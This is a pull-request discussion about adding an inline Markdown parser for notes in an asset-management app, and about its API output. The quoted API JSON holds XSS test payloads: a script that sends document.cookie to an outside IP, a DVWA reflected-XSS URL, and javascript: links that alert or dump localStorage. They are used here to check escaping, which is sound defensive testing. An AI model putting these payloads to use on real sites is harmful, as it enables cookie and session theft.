Added Inline markdown method

[snipe]

This fixes a sort-of bug introduced in #13222 which added markdown to notes - very helpful if you often include links in your notes - much less helpful if you use hashes like for order numbers (#12345), since the markdown parses the entire block of text and would turn that hashed line into a giant <h1></h1> headline.

I realize this is a bit duplicative, but I'm actually okay with it, since it forces you to explicitly decide which of these you want. It could have been passed as a parameter to the same method, but I think this is clearer in intent.

This way, notes still parse links and other light formatting, but there dashboard message, footer, EULAs, etc still work as expected.

I'm noticing that our CSP isn't preventing outside images from being parsed in markdown, and that's something I'm trying to sort out, either by blocking images altogether in markdown, or fixing the CSP. (CSP can be set by the web server as well, so it's not entirely our responsibility, but you can currently embed images via markdown even on the demo, so this PR doesn't break anything.)

This would fix FD-36680

This feels weird, since we're no longer using the {{ $foo }} built-in escaping, but the markdown stuff handles that.

The test text I used to check for XSS in JS/Markdown is:

PR Summary

• Introduction of New Method
  A new function, parseEscapedMarkedownInline, has been added to a helper file. This function improves the way our system handles specific types of data formatting (Markdown)

• Method Replacements In Various Area
  This new function also replaces the old one, parseEscapedMarkedown, in several areas within our codebase, precisely, in the files handling accessories, action logs, asset maintenance, asset models, assets, components, consumables, licenses, suppliers, and users, making their operations more efficient.

• Improvement in License Notes Representation
  Lastly, the manner we display 'notes' linked with our 'license' has been made better due to an adjustment in our code in view.blade.php file, leading to a more user-friendly experience when viewing these notes. This is done through a combination of the new function and some built-in PHP functions for string manipulation and output.

Looks good but I added a couple notes

I think it should be added to accessories.view.blade.php and components.view.blade.php too right?

The note isn't being presented as expected in the asset model table:

In contrast, it looks like I'd expect in licenses:

[marcusmoore]

Looks like we misspelled the original method as well but this should be Markdown and not Markedown 😅

[snipe]

I don’t think that was a misspelling - Marked as in “this is marked down text”

[marcusmoore]

🤔 huh...my mind went to the text having been "markdowned" but that doesn't really make sense

[snipe]

I cannot for the life of me figure out why asset models isn't showing as expected. It's clearly parsing the markdown, based on formatting. If I add an nl2br() there, it works, but it shouldn't be needed?

I also worry about throwing in a bunch of HTML into an API response, but the only other way to handle that would be to try to parse the markdown in the javascript, which sounds horrible and would most likely not be a perfect match for the PHP parsedown convention.

Not sure - @uberbrady - any thoughts?

Welp, Brady and I discussed it, and I think the best way is to just proceed with the HTML output. If it comes up with a user, we can fix it moving forward. Just before v7, we should create two versions of the output, something like:

"notes": {
        "original": "# Blah",
        "formatted": "<h1> Blah</h1>"
    },

but I don't feel comfortable doing that now since it would be a breaking change to the shape of the API.

Weirdly, when I use the nl2br() in the asset models API transformer, I see:

 "notes": "Just a plain note.<br />\r\n<br />\r\n<a href=\"http://localhost:81/DVWA/vulnerabilities/xss_r/?name\">http://localhost:81/DVWA/vulnerabilities/xss_r/?name</a>=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br />\r\n<br />\r\n&lt;script&gt;new Image().src=&quot;<a href=\"https://192.165.159.122/fakepg.php?output=&quot;+document.cookie\">https://192.165.159.122/fakepg.php?output=\"+document.cookie</a>;&lt;/script&gt;<br />\r\n<br />\r\n#123456<br />\r\n<br />\r\n<a href=\"https://snipe.net\">https://snipe.net</a> is <strong>awesome</strong><br />\r\n<br />\r\n&lt;b&gt;Hello!&lt;/b&gt;<br />\r\n<br />\r\n<a href=\"javascript%3Aalert(&#039;Basic&#039;)\">Basic</a><br />\r\n<a href=\"javascript%3Aalert(JSON.stringify(localStorage)\">Local Storage</a>)<br />\r\n<a href=\"JaVaScRiPt%3Aalert(&#039;CaseInsensitive&#039;)\">CaseInsensitive</a><br />\r\n<a href=\"javascript%3A//www.google.com%0Aalert(&#039;URL&#039;)\">URL</a><br />\r\n<a href=\"&#039;javascript%3Aalert(&quot;InQuotes&quot;)&#039;\">In Quotes</a><br />\r\n<br />\r\n<a href=\"javascript%3Aalert%281%29\">xss</a>",

versus the other ones, where it looks like:

"notes": "Just a plain note.\r\n\r\n<a href=\"http://localhost:81/DVWA/vulnerabilities/xss_r/?name\">http://localhost:81/DVWA/vulnerabilities/xss_r/?name</a>=&lt;script&gt;alert(document.cookie)&lt;/script&gt;\r\n\r\n&lt;script&gt;new Image().src=&quot;<a href=\"https://192.165.159.122/fakepg.php?output=&quot;+document.cookie\">https://192.165.159.122/fakepg.php?output=\"+document.cookie</a>;&lt;/script&gt;\r\n\r\n#123456\r\n\r\n<a href=\"https://snipe.net\">https://snipe.net</a> is <strong>awesome</strong>\r\n\r\n&lt;b&gt;Hello!&lt;/b&gt;\r\n\r\n<a href=\"javascript%3Aalert(&#039;Basic&#039;)\">Basic</a>\r\n<a href=\"javascript%3Aalert(JSON.stringify(localStorage)\">Local Storage</a>)\r\n<a href=\"JaVaScRiPt%3Aalert(&#039;CaseInsensitive&#039;)\">CaseInsensitive</a>\r\n<a href=\"javascript%3A//www.google.com%0Aalert(&#039;URL&#039;)\">URL</a>\r\n<a href=\"&#039;javascript%3Aalert(&quot;InQuotes&quot;)&#039;\">In Quotes</a>\r\n\r\n<a href=\"javascript%3Aalert%281%29\">xss</a>",

I wonder if I'm missing a formatter somewhere.

[snipe]

Yep, that was it. 'formatter' => 'notesFormatter',
